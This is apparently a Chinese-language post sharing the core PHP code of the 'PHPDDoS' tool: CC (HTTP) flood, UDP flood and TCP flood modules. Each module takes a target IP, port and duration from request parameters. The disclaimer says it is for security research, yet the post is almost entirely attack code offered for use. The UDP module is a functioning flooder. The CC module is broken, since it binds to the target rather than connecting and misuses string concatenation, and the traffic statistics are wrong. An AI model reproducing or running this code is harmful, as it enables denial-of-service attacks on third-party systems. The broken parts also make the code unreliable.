PHPDDOS的UDP攻击,TCP攻击,和CC攻击的核心代码
网络安全向,请勿用作非法用途
CC攻击模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php echo "状态 : 正常运行中.....<br>"; echo "================================================<br>"; echo " <font color=blue>www.phpddos.com<br>"; echo " CC Flood 模块<br>"; echo " 作者:ybhacker<br>"; echo " 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>"; echo "================================================<br><br>"; error_reporting(E_ALL); set_time_limit(0); ob_implicit_flush(); $address = $_POST['site']; $port = $_POST['port']; $dongu = $_POST['dongu']; $sayi = 1; while ( $sayi <= $dongu ) { if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) { echo "HaHa\n"; } if (socket_bind($sock, $address, $port) === false) { echo "HaHa\n"; } if (socket_listen($sock, 5) === false) { echo "HaHa\n"; } $msg = "HTTP/1.1 GET /\r\nHost:"+$_GET['site']+"\r\nConnection: Keep-Alive\r\n"; socket_write($msg); socket_close($sock); $sayi++; echo "Goodbye...".$sayi; } ?>
|
UDP攻击模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php $packets = 0; $ip = $_GET['ip']; $port = $_GET['port']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET['time']; $time = time(); print "状态 : 正常运行中.....<br>"; $max_time = $time+$exec_time; for($i=0;$i<65535;$i++){ $out .= "phpddos"; } while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("udp://$ip", $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "================================================<br>"; echo " <font color=blue>www.phpddos.com<br>"; echo " 作者:ybhacker<br>"; echo " 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>"; echo "================================================<br><br>"; echo " 攻击包总数:<font color=Red><span class=\"text\">".$packets." 个数据包</span><br><br></font>"; echo " 攻击总流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>"; echo " 攻击总字节:<font color=Red><span class=\"text\">".time('h:i:s')." 字节</span><br><br></font>"; echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; ?>
|
TCP攻击模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php ini_set("display_errors", "Off"); $packets = 0; $ip = $_GET['ip']; $port = $_GET['port']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET['time']; $time = time(); print "状态 : 正常运行中.....<br>"; $max_time = $time+$exec_time; while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("tcp://$ip", $port,$errno,$errstr,0); } echo "================================================<br>"; echo " <font color=blue>www.phpddos.com<br>"; echo " SYN Flood 模块<br>"; echo " 作者:ybhacker<br>"; echo " 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>"; echo "================================================<br><br>"; echo " 攻击包总数:<font color=Red><span class=\"text\">".$packets." 个数据包</span><br><br></font>"; echo " 攻击总流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>"; echo " 攻击总字节:<font color=Red><span class=\"text\">".time('h:i:s')." 字节</span><br><br></font>"; echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; ?>
|